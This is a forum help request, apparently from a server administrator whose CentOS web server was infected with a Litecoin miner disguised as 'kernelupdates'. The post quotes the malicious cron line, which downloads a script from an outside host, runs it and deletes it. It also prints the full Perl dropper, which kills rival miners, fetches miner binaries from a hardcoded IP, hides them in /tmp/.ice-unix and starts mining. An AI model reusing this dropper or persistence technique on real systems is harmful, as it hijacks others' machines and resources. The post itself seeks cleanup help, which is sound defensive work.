I have a CENTOS6 server running with some wordpress & tomcat websites. In the last two days it has been crashing continuously. After investigation we found that kernelupdates binary consuming 100% cpu on server. Process is mentioned below.

./kernelupdates -B -o stratum+tcp://hk2.wemineltc.com:80 -u spdrman.9 -p passxxx

But this process seems invalid kernel update. Might be server is compromised and this process is installed by hacker, So I've killed this process & removed apache user's cron entries.

But somehow this process started again after couple of hours & cron entries also restored, I am searching for the thing which is modifying cron jobs.

1. Does this process belong to a mining process?
2. How can we stop cronjob modification and clean the source of this process?

Cron entry (apache user)

/6 * * * * cd /tmp;wget http://updates.dyndn-web.com/.../abc.txt;curl -O http://updates.dyndn-web.com/.../abc.txt;perl abc.txt;rm -f abc*

abc.txt

#!/usr/bin/perl
system("killall -9 minerd");
system("killall -9 PWNEDa");
system("killall -9 PWNEDb");
system("killall -9 PWNEDc");
system("killall -9 PWNEDd");
system("killall -9 PWNEDe");
system("killall -9 PWNEDg");
system("killall -9 PWNEDm");
system("killall -9 minerd64");
system("killall -9 minerd32");
system("killall -9 named");
$rn=1;
$ar=`uname -m`;
while($rn==1 || $rn==0) {
$rn=int(rand(11));
}
$exists=`ls /tmp/.ice-unix`;
$cratch=`ps aux | grep -v grep | grep kernelupdates`;
if($cratch=~/kernelupdates/gi) { die; }
if($exists!~/minerd/gi && $exists!~/kernelupdates/gi) {
$wig=`wget --version | grep GNU`;
if(length($wig>6)) {
if($ar=~/64/g) {
system("mkdir /tmp;mkdir /tmp/.ice-unix;cd /tmp/.ice-unix;wget http://5.104.106.190/64.tar.gz;tar xzvf 64.tar.gz;mv minerd kernelupdates;chmod +x ./kernelupdates");
} else {
system("mkdir /tmp;mkdir /tmp/.ice-unix;cd /tmp/.ice-unix;wget http://5.104.106.190/32.tar.gz;tar xzvf 32.tar.gz;mv minerd kernelupdates;chmod +x ./kernelupdates");
}
} else {
if($ar=~/64/g) {
system("mkdir /tmp;mkdir /tmp/.ice-unix;cd /tmp/.ice-unix;curl -O http://5.104.106.190/64.tar.gz;tar xzvf 64.tar.gz;mv minerd kernelupdates;chmod +x ./kernelupdates");
} else {
system("mkdir /tmp;mkdir /tmp/.ice-unix;cd /tmp/.ice-unix;curl -O http://5.104.106.190/32.tar.gz;tar xzvf 32.tar.gz;mv minerd kernelupdates;chmod +x ./kernelupdates");
}
}
}

@prts=('8332','9091','1121','7332','6332','1332','9333','2961','8382','8332','9091','1121','7332','6332','1332','9333','2961','8382');
$prt=0;
while(length($prt)<4) { $prt=$prts[int(rand(19))-1]; }
print "setup for $rn:$prt done :-)\n";
system("cd /tmp/.ice-unix;./kernelupdates -B -o stratum+tcp://hk2.wemineltc.com:80 -u spdrman.".$rn." -p passxxx &");
print "done!\n";

Thanks in advance!